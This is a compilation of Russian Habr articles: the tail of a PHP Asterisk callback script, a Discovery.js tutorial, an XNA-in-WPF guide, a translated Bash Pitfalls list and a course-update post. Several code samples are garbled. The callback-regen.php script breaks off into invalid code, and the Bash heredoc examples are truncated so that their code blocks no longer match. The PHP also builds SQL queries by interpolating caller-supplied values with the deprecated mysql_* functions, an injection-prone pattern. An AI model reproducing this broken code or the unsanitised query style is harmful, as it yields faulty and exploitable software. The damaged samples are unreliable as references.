// особо нетерпеливые звонят несколько раз и нажимают 0, предполагая, что это ускорит процесс. Но только не у нас
$stmt=sprintf('select * from callback where cid="%s" and queue="%s" status<>2 and dt>now()-interval 24 hour',$cid,$qname);
$result=mysql_query($stmt);
if (!$row=mysql_fetch_object($result)) {
$stmt="insert into callback (cid,queue) values ('$cid','$qname')";
$result=mysql_query($stmt);
$id=mysql_insert_id();
fputs($stdlog,"$dt|$stmt\n");
} else {
$log_status='cid '.$cid.' already in spool '.$qname;
}
genCallBackFile($id,$cid,$qname);
break;
}
}
$stmt=sprintf('insert into callback_log (callback_id,status) values (%d,"%s -> %s")',$id,$a,$log_status);
$result=mysql_query($stmt);
$log_id=mysql_insert_id();
// clean up file handlers etc.
fclose($in);
fclose($stdlog);
exit;
// ****************************************
?>
```
И еще один файл callback-regen.php на перегенерацию call файлов ставим в крон каждые 5 минут в период с 8 утра до 8 вечера
С каждой попыткой время повторного перезвона увеличивается на 5 минут. После 10 попыток издевательства над оператором прекращаем
```
#!/usr/bin/php
include('/var/lib/asterisk/agi-bin/config.php');
$stmt='select * from callback where status<2 and dt>now()-interval 24 hour and tot_calls<=10 '.
' and last_callid,$row->cid,$row->queue);
}
// \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
?>
``` | https://habr.com/ru/post/471500/ | null | ru | null |
# Руководство по Discovery.js: быстрый старт
Это и последующие руководства проведут вас через процесс создания решения на основе проекта [Discovery.js](https://github.com/discoveryjs). Наша цель — создать инспектор NPM-зависимостей, то есть интерфейс для исследования структуры `node_modules`.
> Примечание: Discovery.js находится на ранней стадии разработки, поэтому со временем что-то будет упрощаться и становиться полезнее. Если у вас есть идеи, как можно что-то улучшить, [напишите нам](https://github.com/discoveryjs/discovery/issues).
Аннотация
---------
Ниже вы найдёте обзор ключевых концепций Discovery.js. Изучить весь код руководства можно [в репозитории на GitHub](https://github.com/discoveryjs/quick-start-tutorial), или можете попробовать [как это работает онлайн](https://discoveryjs.github.io/quick-start-tutorial/).
Начальные условия
-----------------
Прежде всего нам нужно выбрать проект для анализа. Это может быть свежесозданный проект или уже существующий, главное, чтобы он содержал `node_modules` (объект нашего анализа).
Сначала установим основной пакет `discoveryjs` и его консольные инструменты:
```
npm install @discoveryjs/discovery @discoveryjs/cli
```
Далее запускаем сервер Discovery.js:
```
> npx discovery
No config is used
Models are not defined (model free mode is enabled)
Init common routes ... OK
Server listen on http://localhost:8123
```
Если открыть в браузере `http://localhost:8123`, то можем увидеть следующее:
Это режим без модели, то есть режим когда ничего не сконфигурировано. Но уже сейчас с помощью кнопки "Load data" можно выбрать любой JSON-файл, или просто перетащить его на страницу, и начать анализ.
Однако нам нужно нечто конкретное. В частности, нам нужно получить представление структуры `node_modules`. Для этого добавим конфигурацию.
Добавляем конфигурацию
----------------------
Как вы могли заметить, при запуске сервера вывелось сообщение `No config is used`. Давайте создадим конфигурационный файл `.discoveryrc.js` с таким содержимым:
```
module.exports = {
name: 'Node modules structure',
data() {
return { hello: 'world' };
}
};
```
Примечание: если вы создаете файл в текущей рабочей директории (то есть в корне проекта), то больше ничего не требуется. В противном случае нужно передать путь к файлу конфигурации с помощью опции `--config`, либо задать путь в `package.json`:
```
{
...
"discovery": "path/to/discovery/config.js",
...
}
```
Перезапустим сервер, чтобы конфигурация была применена:
```
> npx discovery
Load config from .discoveryrc.js
Init single model
default
Define default routes ... OK
Cache: DISABLED
Init common routes ... OK
Server listen on http://localhost:8123
```
Как видите, теперь созданный нами файл используется. И применяется описанная нами модель по умолчанию (Discovery может работать в режиме множества моделей, об этой возможности мы расскажем в следующих руководствах). Давайте посмотрим, что у нас изменилось в браузере:
Что тут можно увидеть:
* `name` используется в качестве заголовка страницы;
* результат вызова метода `data` отображается как основное содержимое страницы.
> Примечание: метод `data` должен возвращать данные или Promise, который разрешается в данные.
Основные настройки сделаны, можно двигаться дальше.
Контекст
--------
Давайте посмотрим на страницу произвольного отчёта (кликните `Make report`):
На первый взгляд, это не сильно отличается от стартовой страницы… Но здесь можно всё менять! Например, мы можем легко воссоздать вид стартовой страницы:
Обратите внимание, как определяется заголовок: `"h1:#.name"`. Это заголовок первого уровня с содержимым `#.name`, которое является запросом [Jora](https://github.com/discoveryjs/jora). `#` ссылается на контекст запроса. Чтобы посмотреть его содержимое, просто введите `#` в редакторе запроса и воспользуйтесь отображением по умолчанию:
Теперь вы знаете, как можно получить ID текущей страницы, её параметры и другие полезные значения.
Сбор данных
-----------
Сейчас мы используем в проекте заглушку вместо реальных данные, а нам нужны настоящие. Для этого создадим модуль и изменим значение `data` в конфигурации (кстати, после этих изменений перезапускать сервер не обязательно):
```
module.exports = {
name: 'Node modules structure',
data: require('./collect-node-modules-data')
};
```
Содержимое `collect-node-modules-data.js`:
```
const path = require('path');
const scanFs = require('@discoveryjs/scan-fs');
module.exports = function() {
const packages = [];
return scanFs({
include: ['node_modules'],
rules: [{
test: /\/package.json$/,
extract: (file, content) => {
const pkg = JSON.parse(content);
if (pkg.name && pkg.version) {
packages.push({
name: pkg.name,
version: pkg.version,
path: path.dirname(file.filename),
dependencies: pkg.dependencies
});
}
}
}]
}).then(() => packages);
};
```
Я использовал пакет `@discoveryjs/scan-fs`, который упрощает сканирование файловой системы. Пример использования пакета описан в его readme, я взял этот пример за основу и доработал как нужно. Теперь у нас есть некоторая информация о содержимом `node_modules`:
То что надо! И несмотря на то, что это обычный JSON, мы уже можем его проанализировать и сделать какие-то выводы. Например, с помощью попапа структуры данных можно выяснить количество пакетов и узнать, сколько из них имеют больше одного физического экземпляра (из-за разницы версий или проблем с их дедупликацией).
Не смотря на то, что у нас уже есть некоторые данные, нам нужно больше деталей. Например, хорошо бы знать, в какой физический экземпляр разрешается каждая из объявленных зависимостей определенного модуля. Однако работа над улучшением извлечения данных выходит за рамки этого руководства. Поэтому мы сделаем замену на пакет `@discoveryjs/node-modules` (который также построен на основе `@discoveryjs/scan-fs`) для извлечения данных и получим необходимые подробности относительно пакетов. В результате `collect-node-modules-data.js` значительно упрощается:
```
const fetchNodeModules = require('@discoveryjs/node-modules');
module.exports = function() {
return fetchNodeModules();
};
```
Теперь информация о `node_modules` выглядит так:
Скрипт подготовки
-----------------
Как вы могли заметить, некоторые объекты описывающие пакеты содержат `deps` — список зависимостей. У каждой зависимости есть поле `resolved`, значение которого является ссылкой на физический экземпляр пакета. Такая ссылка — это значение `path` одного из пакетов, оно является уникальным. Для разрешения ссылки на пакет нужно использовать дополнительный код (например, `#.data.pick()`). И конечно же, было бы гораздо удобнее, если бы такие ссылки были бы уже разрешены в ссылки на объекты.
К сожалению, на этапе сбора данных мы не можем разрешать ссылки, поскольку это приведёт к циклическим связям, что создаст проблему передачи таких данных в виде JSON. Однако решение есть: это специальный скрипт `prepare`. Он определяется в конфигурации и вызывается каждый раз при назначении новых данных для экземпляра Discovery. Начнём с конфигурации:
```
module.exports = {
...
prepare: __dirname + '/prepare.js', // Важно: значение это строка, путь к модулю
...
};
```
Определим `prepare.js`:
```
discovery.setPrepare(function(data) {
// делаем что-то с data и/или с экземпляром discovery
});
```
В этом модуле мы задали функцию `prepare` для экземпляра Discovery. Эта функция вызывается каждый раз перед применением данных к экземпляру Discovery. Это хорошее место для того, чтобы разрешить значения в ссылки на объекты:
```
discovery.setPrepare(function(data) {
const packageIndex = data.reduce((map, pkg) => map.set(pkg.path, pkg), new Map());
data.forEach(pkg =>
pkg.deps.forEach(dep =>
dep.resolved = packageIndex.get(dep.resolved)
)
);
});
```
Здесь мы создали индекс пакетов, в котором ключом является значение `path` пакета (уникальное). Затем мы проходим по всем пакетам и их зависимостям, и заменяем в зависимостях значение `resolved` ссылкой на объект пакета. Результат:
Теперь гораздо легче делать запросы к графу зависимостей. Вот так можно получить кластер зависимостей (то есть зависимости, зависимости зависимостей и т.д.) для конкретного пакета:
> Неожиданная история успеха: изучая данные в ходе написания руководства, я обнаружил проблему в `@discoveryjs/cli` (с помощью запроса `.[deps.[not resolved]]`), у которого была опечатка в peerDependencies. Проблема немедленно [была исправлена](https://github.com/discoveryjs/discovery-cli/commit/3f300cedb7e8217d339cb0ecd7aa57e3e53ecd91). Случай является наглядным примером, как помогают подобные инструменты.
Пожалуй настало время, чтобы показать на стартовой странице несколько чисел и пакеты с дублями.
Настраиваем стартовую страницу
------------------------------
Для начала нам нужно создать модуль страницы, например, `pages/default.js`. Мы используем `default`, поскольку это идентификатор для стартовой страницы, который мы можем переопределить (в Discovery.js можно переопределить очень многое). Начнём с чего-нибудь простого, например:
```
discovery.page.define('default', [
'h1:#.name',
'text:"Hello world!"'
]);
```
Теперь в конфигурации нужно подключить модуль страницы:
```
module.exports = {
name: 'Node modules structure',
data: require('./collect-node-modules-data'),
view: {
assets: [
'pages/default.js' // ссылка на модуль страницы
]
}
};
```
Проверяем в браузере:
Работает!
Теперь давайте выведем какие-нибудь счётчики. Для этого внесём изменения в `pages/default.js`:
```
discovery.page.define('default', [
'h1:#.name',
{
view: 'inline-list',
item: 'indicator',
data: `[
{ label: 'Package entries', value: size() },
{ label: 'Unique packages', value: name.size() },
{ label: 'Dup packages', value: group().[value.size() > 1].size() }
]`
}
]);
```
Здесь мы определяем инлайновый список индикаторов. В качестве значения `data` стоит запрос Jora, создающий массив записей. В качестве основы для запросов используется список пакетов (корень данных), так мы получили длину списка (`size()`), количество уникальных имен пакетов (`name.size()`) и количество имен пакетов, которые имеют дубли (`group().[value.size() > 1].size()`).
Неплохо. Тем не менее, было бы лучше кроме чисел иметь ссылки на соответствующие выборки:
```
discovery.page.define('default', [
'h1:#.name',
{
view: 'inline-list',
data: [
{ label: 'Package entries', value: '' },
{ label: 'Unique packages', value: 'name' },
{ label: 'Dup packages', value: 'group().[value.size() > 1]' }
],
item: `indicator:{
label,
value: value.query(#.data, #).size(),
href: pageLink('report', { query: value, title: label })
}`
}
]);
```
В первую очередь мы изменили значение `data`, теперь это обычный массив с некоторыми объектами. Также из запросов значений (value) убран метод `size()`.
Помимо этого в представление `indicator` добавлен подзапрос. Такого вида запросы создают новый объект для каждого элемента, в котором вычисляются `value` и `href`. Для `value` выполняется запрос с использованием метода `query()`, в который данные передаются из контекста, а потом к результату запроса применяется метод `size()`. Для `href` используется метод `pageLink()`, который генерирует ссылку на страницу отчёта с конкретным запросом и заголовком. После всех этих изменений индикаторы стали кликабельными (обратите внимание, что их значения стали синего цвета) и более функциональными.
Чтобы сделать стартовую страницу более полезной, добавим таблицу с пакетами имеющие дубли.
```
discovery.page.define('default', [
// ... то же что и раньше
'h2:"Packages with more than one physical instance"',
{
view: 'table',
data: `
group()
.[value.size() > 1]
.sort()
.reverse()
`,
cols: [
{ header: 'Name', content: 'text:key' },
{ header: 'Version & Location', content: {
view: 'list',
data: 'value.sort()',
item: [
'badge:version',
'text:path'
]
} }
]
}
]);
```
Для таблицы используются те же данные, что и для индикатора `Dup packages`. Список пакетов был отсортирован по размеру группы в обратном порядке. Остальная настройка связана с колонками (кстати, обычно их не нужно настраивать). Для колонки `Version & Location` мы определили вложенный список (отсортированный по версии), в котором каждый элемент представляет собой пару из номера версии и пути к экземпляру.
Страница пакетов
----------------
Сейчас у нас есть лишь общий обзор пакетов. Но было бы полезно иметь страницу с подробностями о конкретном пакете. Для этого создадим новый модуль `pages/package.js` и определим новую страницу:
```
discovery.page.define('package', {
view: 'context',
data: `{
name: #.id,
instances: .[name = #.id]
}`,
content: [
'h1:name',
'table:instances'
]
});
```
В этом модуле мы определили страницу с идентификатором `package`. В качестве исходного представления использовался компонент `context`. Это невизуальный компонент, помогающий определять данные для вложенных отображений. Обратите внимание, что мы использовали `#.id` для получения названия пакета, которое извлекается из URL вроде такого `http://localhost:8123/#package:{id}`.
Не забываем включить новый модуль в конфигурацию:
```
module.exports = {
...
view: {
assets: [
'pages/default.js',
'pages/package.js' // вот так
]
}
};
```
Результат в браузере:
Не слишком впечатляет, но пока пойдёт. Более сложные отображения мы будем создавать в последующих руководствах.
Боковая панель
--------------
Раз у нас уже есть страница пакета, хорошо бы иметь список всех пакетов. Для этого можно определить специальное представление – `sidebar`, которое отображается в том случае, если его определить (по умолчанию не определено). Создадим новый модуль `views/sidebar.js`:
```
discovery.view.define('sidebar', {
view: 'list',
data: 'name.sort()',
item: 'link:{ text: $, href: pageLink("package") }'
});
```
Теперь у нас есть список всех пакетов:
Выглядит хорошо. Но с фильтром было бы ещё лучше. Расширим определение `sidebar`:
```
discovery.view.define('sidebar', {
view: 'content-filter',
content: {
view: 'list',
data: 'name.[no #.filter or $~=#.filter].sort()',
item: {
view: 'link',
data: '{ text: $, href: pageLink("package"), match: #.filter }',
content: 'text-match'
}
}
});
```
Здесь мы обернули список в компонент `content-filter`, которое преобразует вводимое значение в поле ввода в регулярное выражения (или `null`, если поле пустое), и сохраняет его в качестве значения `filter` в контексте (название можно менять опцией `name`). Также для фильтрации данных для списка мы применили `#.filter`. Наконец, мы применили отображение ссылок, чтобы подсвечивать совпадающие части с помощью `text-match`. Результат:
В случае, если вам не нравится оформление по умолчанию, можете настроить стили по своему желанию. Допустим, вы хотите поменять ширину боковой панели, для этого нужно создать файл стиля (скажем, `views/sidebar.css`):
```
.discovery-sidebar {
width: 300px;
}
```
И добавить в конфигурацию ссылку на этот файл, так же как на JavaScript модули:
```
module.exports = {
...
view: {
assets: [
...
'views/sidebar.css', // в assets можно задавать и *.css тоже
'views/sidebar.js'
]
}
};
```
Автоссылки
----------
Последняя глава этого руководства посвящена ссылкам. Ранее, с помощью метода `pageLink()` мы делали ссылку на страницу пакета. Но помимо ссылки нужно еще задавать и текст ссылки. Но как бы нам делать это проще?
Чтобы упростить работу ссылками, нам нужно определить правило генерации ссылок. Это лучше сделать в скрипте `prepare`:
```
discovery.setPrepare(function(data) {
...
const packageIndex = data.reduce(
(map, item) => map
.set(item, item) // key is item itself
.set(item.name, item), // and `name` value
new Map()
);
discovery.addEntityResolver(value => {
value = packageIndex.get(value) || packageIndex.get(value.name);
if (value) {
return {
type: 'package',
id: value.name,
name: value.name
};
}
});
});
```
Мы добавили новую карту (индекс) пакетов и использовали её для ресолвера сущностей. Ресолвер сущностей пытается, по возможности, преобразовать переданное ему значение в дескриптор сущности. Дескриптор содержит:
* `type` — тип сущности
* `id` — уникальная ссылка на экземпляр сущности, используемая в ссылках в качестве ID
* `name` — используется в качестве текста ссылки
Наконец, нужно присвоить этот тип определённой странице (ссылка ведь должна куда-то вести, не так ли?).
```
discovery.page.define('package', {
...
}, {
resolveLink: 'package' // привязываем тип сущности `package` к этой странице
});
```
Первое следствие этих изменений заключается в том, что некоторые значения в представлении `struct` теперь помечаются ссылкой на страницу пакета:
И теперь также можно применить компонент `auto-link` к объекту или имени пакета:
И, как пример, можно немного переработать боковую панель:
```
// было раньше
item: {
view: 'link',
data: '{ text: $, href: pageLink("package"), match: #.filter }',
content: 'text-match'
},
// с использованием `auto-link`
item: {
view: 'auto-link',
content: 'text-match:{ text, match: #.filter }'
}
```
Заключение
----------
Теперь у вас есть базовое представление о ключевых концепциях [Discovery.js](https://github.com/discoveryjs). В следующих руководствах мы подробнее рассмотрим затронутые темы.
Посмотреть весь исходный код руководства можно в [репозитории на GitHub](https://github.com/discoveryjs/quick-start-tutorial) или [попробовать как это работает онлайн](https://discoveryjs.github.io/quick-start-tutorial/).
Подписывайтесь на твиттер проекта [@js\_discovery](https://twitter.com/js_discovery), чтобы быть в курсе новостей проекта! | https://habr.com/ru/post/469115/ | null | ru | null |
# Дружим XNA и WPF
Вначале отвечу на вопрос «Зачем их дружить». Ответ прост — WPF хорош для пользовательских интерфейсов, XNA для сложной 3D графики и если вы делаете клиентское приложение со сложным интерфейсом и 3D элементами в нем, то связка XNA & WPF как раз для вас.
Статью я буду иллюстрировать на примере простенького медиаплеера, который я сейчас пишу.
Итак, у нас есть скроллер обложек написанный на XNA. Выглядит он так:
А еще у нас есть WPF проект будущего медиаплеера, вот его скриншот:
[](http://i8.fastpic.ru/big/2010/0806/b1/7c3c15f2f3a65d34cd8a37096f9cf1b1.png)
Наша задача состоит в том, чтобы поместить первое во второе. Поступим также, как поступали ранее с приложениями на Windows Forms: передадим в конструктор класса Game хендл на элемент управления, поверх которого мы будем рисовать. Но есть одна небольшая проблема: в WPF хендлами обладают только окна. Впрочем, эта проблема легко решаема: добавим в окно элемент управления WindowsFormsHost и поместим в него панель (Panel) из пространства имен System.Windows.Forms. И вот хендл этой панели мы и передадим в конструктор игры. Итак, действуем по порядку:
1. Объединим XNA и WPF проекты в одном решении
2. Удаляем у XNA проекта файл Program.cs и в свойствах проекта меняем тип с Windows приложения на библиотеку классов.
3. Добавим Microsoft.Xna.Framework.Game в References WPF проекта
4. Добавим в объявление конструктора игры параметр IntPtr handle
5. В конструкторе формы WPF создадим экземпляр класса игры и передаем ему хендл на панель и вызовем у игры метод Run() в отдельном потоке
6. Во время инициализации устройства присвоим наш хендл
Поясню последний пункт:
> `IntPtr Handle;
>
> public MainGame(IntPtr handle)
>
> {
>
> Handle = handle;
>
> graphics = new GraphicsDeviceManager(this);
>
> graphics.PreparingDeviceSettings += new EventHandler(PreparingDeviceSettings);
>
> }
>
>
>
> public void PreparingDeviceSettings(object sender, PreparingDeviceSettingsEventArgs e)
>
> {
>
> e.GraphicsDeviceInformation.PresentationParameters.DeviceWindowHandle = Handle;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Отлично, наша «игра» отрисовывается в отведенную для нее панель, но есть несколько пунктов, по которым меня не устраивает данное решение:
* При запуске приложения параллельно создается какое-то левое окно. Его конечно можно скрыть, но все равно это нехорошо.
* При изменении размеров формы у нас происходит тупое растягивание/сжатие картинки. Хотелось бы реинициализировать устройство для обеспечения наилучшего качества картинки.
* На мой взгляд, самое главное: игра и приложение живут в разных потоках. Это приводит к ошибкам при попытке работы с WPF-контролами из XNA кода.
* Панель предательски моргает при изменении ее размеров.
Будем решать эти проблемы. Для этого я предлагаю прекратить использование класса игры и написать небольшой менеджер устройства. Нам придется вручную инициализировать устройство, по таймеру перерисовывать сцену, откликаться на изменение размеров контрола и его уничтожение. В менеджер мы передаем контрол, на котором будем рисовать, подписываемся на события ресайза и отрисовки контрола, создаем устройство и таймер, по которому мы будем вызывать инициировать события Update и Draw. Вы можете посмотреть исходный код графического менеджера [здесь](http://pastebin.com/9MqE7a0y) или в прилагаемом проекте. Нам осталось лишь разобраться с панелью. Оказывается нужно лишь применить соответствующие стили и панель перестанет моргать. Неудобство лишь в том, что модификатор доступа метода SetStyle — protected. Ну ничего, унаследуемся от панели и в конструкторе применим нужные нам стили. Исходный код оптимизированной панели прост до безобразия:
> `public class OptimizedPanel : Panel
>
> {
>
> public OptimizedPanel()
>
> : base()
>
> {
>
> this.SetStyle(ControlStyles.UserPaint, true);
>
> this.SetStyle(ControlStyles.Opaque, true);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Итак, у нас все готово, запускаем проект и видим, что все работает как надо: панелька не моргает, корректно меняются размеры, приложение не открывает дополнительных окон.
[Здесь](http://ifolder.ru/18802445) вы можете скачать начальный проект приложения со связкой WPF & XNA. Ну а вот что получилось у меня: | https://habr.com/ru/post/101165/ | null | ru | null |
# Частые ошибки программирования на Bash (продолжение)
Продолжаю знакомить сообщество с переводом [Bash Pitfalls](http://wooledge.org:8000/BashPitfalls).
[Часть первая](http://habrahabr.ru/blogs/shells/47706/).
[Первоначальная публикация перевода](http://bappoy.pp.ru/tag/bash-pitfalls).
### 11. cat file | sed s/foo/bar/ > file
Нельзя читать из файла и писать в него в одном и том же конвейере. В зависимости от того, как построен конвейер, файл может обнулиться (или оказаться усечённым до размера, равному объёму буфера, выделяемого операционной системой для конвейера), или неограниченно увеличиваться до тех пор, пока он не займёт всё доступное пространство на диске, или не достигнет ограничения на размер файла, заданного операционной системой или квотой, и т.д.
Если вы хотите произвести изменение в файле, отличное от добавления данных в его конец, вы должны в какой-то промежуточный момент создать временный файл. Например (этот код работает во всех шеллах):
```
sed 's/foo/bar/g' file > tmpfile && mv tmpfile file
```
Следующий фрагмент будет работать только при использовании GNU sed 4.x и выше:
```
sed -i 's/foo/bar/g' file
```
Обратите внимание, что при этом тоже создаётся временный файл и затем происходит переименование — просто это делается незаметно.
В BSD-версии sed необходимо обязательно указывать расширение, добавляемое к запасной копии файла. Если вы уверены в своем скрипте, можно указать нулевое расширение:
```
sed -i '' 's/foo/bar/g' file
```
Также можно воспользоваться perl 5.x, который, возможно, встречается чаще, чем sed 4.x:
```
perl -pi -e 's/foo/bar/g' file
```
Различные аспекты задачи массовой замены строк в куче файлов обсуждаются в [Bash FAQ #21](http://wooledge.org:8000/BashFAQ/021).
### 12. echo $foo
Эта относительно невинно выглядящая команда может привести к неприятным последствиям. Поскольку переменная `$foo` не заключена в кавычки, она будет не только разделена на слова, но и возможно содержащийся в ней шаблон будет преобразован в имена совпадающих с ним файлов. Из-за этого bash-программисты иногда ошибочно думают, что их переменные содержат неверные значения, тогда как с переменными всё в порядке — это команда `echo` отображает их согласно логике bash, что приводит к недоразумениям.
```
MSG="Please enter a file name of the form *.zip"
echo $MSG
```
Это сообщение разбивается на слова и все шаблоны, такие, как `*.zip`, раскрываются. Что подумают пользователи вашего скрипта, когда увидят фразу:
```
Please enter a file name of the form freenfss.zip lw35nfss.zip
```
Вот ещё пример:
```
VAR=*.zip # VAR содержит звёздочку, точку и слово "zip"
echo "$VAR" # выведет *.zip
echo $VAR # выведет список файлов, чьи имена заканчиваются на .zip
```
На самом деле, команда echo вообще не может быть использована абсолютно безопасно. Если переменная содержит только два символа "-n", команда `echo` будет рассматривать их как опцию, а не как данные, которые нужно вывести на печать, и абсолютно ничего не выведет. Единственный надёжный способ напечатать значение переменной — воспользоваться командой `printf`:
`printf "%s\n" "$foo"`.
### 13. $foo=bar
Нет, вы не можете создать переменную, поставив "$" в начале её названия. Это не Perl. Достаточно написать:
```
foo=bar
```
### 14. foo = bar
Нет, нельзя оставлять пробелы вокруг "=", присваивая значение переменной. Это не C. Когда вы пишете `foo = bar`, оболочка разбивает это на три слова, первое из которых, `foo`, воспринимается как название команды, а оставшиеся два — как её аргументы.
По этой же причине нижеследующие выражения также неправильны:
```
foo= bar # НЕПРАВИЛЬНО!
foo =bar # НЕПРАВИЛЬНО!
$foo = bar # АБСОЛЮТНО НЕПРАВИЛЬНО!
```
```
foo=bar # Правильно.
```
### 15. echo <
Встроенные документы полезны для внедрения больших блоков текстовых данных в скрипт. Когда интерпретатор встречает подобную конструкцию, он направляет строки вплоть до указанного маркера (в данном случае — `EOF`) на входной поток команды. К сожалению, echo не принимает данные с STDIN.
```
# Неправильно:
echo <
```
# Правильно:
cat <
16. su -c 'some command'
В Linux этот синтаксис корректен и не вызовет ошибки. Проблема в том, что в некоторых системах (например, FreeBSD или Solaris) аргумент `-c` команды `su` имеет совершенно другое назначение. В частности, в FreeBSD ключ `-c` указывает класс, ограничения которого применяются при выполнении команды, а аргументы шелла должны указываться после имени целевого пользователя. Если имя пользователя отсутствует, опция `-c` будет относиться к команде su, а не к новому шеллу. Поэтому рекомендуется всегда указывать имя целевого пользователя, вне зависимости от системы (кто знает, на каких платформах будут выполняться ваши скрипты...):
```
su root -c 'some command' # Правильно.
```
17. cd /foo; bar
Если не проверить результат выполнения `cd`, в случае ошибки команда `bar` может выполниться не в том каталоге, где предполагал разработчик. Это может привести к катастрофе, если `bar` содержит что-то вроде `rm *`.
Поэтому всегда нужно проверять код возврата команды «cd». Простейший способ:
```
cd /foo && bar
```
Если за cd следует больше одной команды, можно написать так:
```
cd /foo || exit 1
bar
baz
bat ... # Много команд.
```
cd сообщит об ошибке смены каталога сообщением в stderr вида `bash: cd: /foo: No such file or directory`. Если вы хотите вывести своё сообщение об ошибке в stdout, следует использовать группировку команд:
```
cd /net || { echo "Can't read /net. Make sure you've logged in to the Samba network, and try again."; exit 1; }
do_stuff
more_stuff
```
Обратите внимание на пробел между `{` и `echo`, а также на точку с запятой перед закрывающей `}`.
Некоторые добавляют в начало скрипта команду `set -e`, чтобы их скрипты прерывались после каждой команды, вернувшей ненулевое значение, но этот трюк нужно использовать с большой осторожностью, поскольку многие распространённые команды могут возвращать ненулевое значение в качестве простого предупреждения об ошибке (warning), и совершенно необязательно рассматривать такие ошибки как критические.
Кстати, если вы много работаете с директориями в bash-скрипте, перечитайте `man bash` в местах, относящихся к командам `pushd`, `popd` и `dirs`. Возможно, весь ваш код, напичканный `cd` и `pwd`, просто не нужен :).
Вернёмся к нашим баранам. Сравните этот фрагмент:
```
find ... -type d | while read subdir; do
cd "$subdir" && whatever && ... && cd -
done
```
с этим:
```
find ... -type d | while read subdir; do
(cd "$subdir" && whatever && ...)
done
```
Принудительный вызов подоболочки заставляет cd и последующие команды выполняться в subshell'е; в следующей итерации цикла мы вернёмся в начальное местонахождение вне зависимости от того, успешной ли была смена директории или же она завершилась с ошибкой. Нам не нужно возвращаться вручную.
Кроме того, предпоследний пример содержит ещё одну ошибку: если одна из команд `whatever` провалится, мы можем не вернуться обратно в начальный каталог. Чтобы исправить это без использования субшелла, в конце каждой итерации придётся делать что-то вроде `cd "$ORIGINAL_DIR"`, а это добавит ещё немного путаницы в ваши скрипты.
18. [ bar == "$foo" ]
Оператор `==` не является аргументом команды `[`. Используйте вместо него `=` или замените `[` ключевым словом `[[`:
```
[ bar = "$foo" ] && echo yes
[[ bar == $foo ]] && echo yes
```
19. for i in {1..10}; do ./something &; done
Нельзя помещать точку с запятой ";" сразу же после &. Просто удалите этот лишний символ:
```
for i in {1..10}; do ./something & done
```
Символ & сам по себе является признаком конца команды, так же, как ";" и перевод строки. Нельзя ставить их один за другим.
20. cmd1 && cmd2 || cmd3
Многие предпочитают использовать `&&` и `||` в качестве сокращения для `if ... then ... else ... fi`. В некоторых случаях это абсолютно безопасно:
```
[[ -s $errorlog ]] && echo "Uh oh, there were some errors." || echo "Successful."
```
Однако в общем случае эта конструкция не может служить полным эквивалентом `if ... fi`, потому что команда `cmd2` перед `&&` также может генерировать код возврата, и если этот код не `0`, будет выполнена команда, следующая за ||. Простой пример, способный многих привести в состояние ступора:
```
i=0
true && ((i++)) || ((i--))
echo $i # выведет 0
```
Что здесь произошло? По идее, переменная i должна принять значение 1, но в конце скрипта она содержит 0. То есть последовательно выполняются обе команды i++ и i--. Команда ((i++)) возвращает число, являющееся результатом выполнения выражения в скобках в стиле C. Значение этого выражения — 0 (начальное значение i), но в C выражение с целочисленным значением 0 рассматривается как false. Поэтому выражение ((i++)), где i равно 0, возвращает 1 (false) и выполняется команда ((i--)).
Этого бы не случилось, если бы мы использовали оператор преинкремента, поскольку в данном случае код возврата ++i — true:
```
i=0
true && (( ++i )) || (( --i ))
echo $i # выводит 1
```
Но нам всего лишь повезло и наш код работает исключительно по «случайному» стечению обстоятельств. Поэтому нельзя полагаться на `x && y || z`, если есть малейший шанс, что `y` вернёт false (последний фрагмент кода будет выполнен с ошибкой, если i будет равно -1 вместо 0)
Если вам нужна безопасность, или вы сомневаетесь в механизмах, которые заставляют ваш код работать, или вы ничего не поняли в предыдущих абзацах, лучше не ленитесь и пишите `if ... fi` в ваших скриптах:
```
i=0
if true; then
((i++))
else
((i--))
fi
echo $i # выведет 1.
```
Bourne shell это тоже касается:
```
# Выполняются оба блока команд:
$ true && { echo true; false; } || { echo false; true; }
true
false
```
21. Касательно UTF-8 и BOM (Byte-Order Mark, метка порядка байтов)
В общем: в Unix тексты в кодировке UTF-8 не используют метки порядка байтов. Кодировка текста определяется по локали, mime-типу файла, или по каким-то другим метаданным. Хотя наличие BOM не испортит UTF-8 документ в плане его читаемости человеком, могут возникнуть проблемы с автоматической интерпретацией таких файлов в качестве скриптов, исходных кодов, файлов конфигурации и т.д. Файлы, начинающиеся с BOM, должны рассматриваться как чужеродные, так же как и файлы с DOS'овскими переносами строк.
В шелл-скриптах: «Там, где UTF-8 может прозрачно использоватся в 8-битных окружениях, BOM будет пересекаться с любым протоколом или форматом файлов, предполагающим наличие символов ASCII в начале потока, например, `#!` в начале шелл-скриптов Unix» <http://unicode.org/faq/utf_bom.html#bom5>
```
``` | https://habr.com/ru/post/47915/ | null | ru | null |
# Как мы делаем курсы по вёрстке. Опыт из первых рук
Скоро стартует 32 поток нашего курса-долгожителя про профессиональную вёрстку сайтов. Кто-то из читателей запомнил его как «Базовый HTML и CSS» или даже как «Разработку веб-интерфейсов с помощью HTML и CSS».
32 поток — знаковый для нас, и к его началу мы подготовили самое глобальное и серьёзное обновление курса за всю историю. Работа над ним заняла целых девять месяцев!
Казалось бы, это и так наш любимый курс, который мы постоянно обновляем уже восемь лет. Что там можно ещё улучшить? Но улучшать можно всегда, и поэтому мы решили рассказать, как делаем курсы, показать нашу кухню изнутри и поделиться радостью крутых находок.
### Обновление критериев качества
Критерии — это боль для авторов (серьёзно, их очень сложно делать и обсуждать), но это и сердце каждого курса, ведь всё начинается с них.
Мы начали обновлять систему критериев в январе 2021 года и проработали над первой их версией два месяца. Следующие несколько месяцев мы шлифовали критерии и готовили к каждому из них примеры. В конце лета мы обсудили результат с нашими наставниками и опубликовали критерии на Хабре, чтобы открыто обсудить с профессиональным сообществом то, что у нас получилось.
#### Зачем вообще было обновлять критерии
Ведь они и без того шлифовались от потока к потоку, зачем лишняя работа?
Ответ прост — в старой системе критериев накопилось очень много «технического долга». В индустрии многое изменилось за последние годы, и это повлияло и на то, как нужно верстать: случились пришествие флексов и гридов, отказ от ИЕ, переход с Фотошопа на Фигму. С ударами мы справлялись, латали отдельные критерии, но вся система страдала: копились противоречия и слепые пятна.
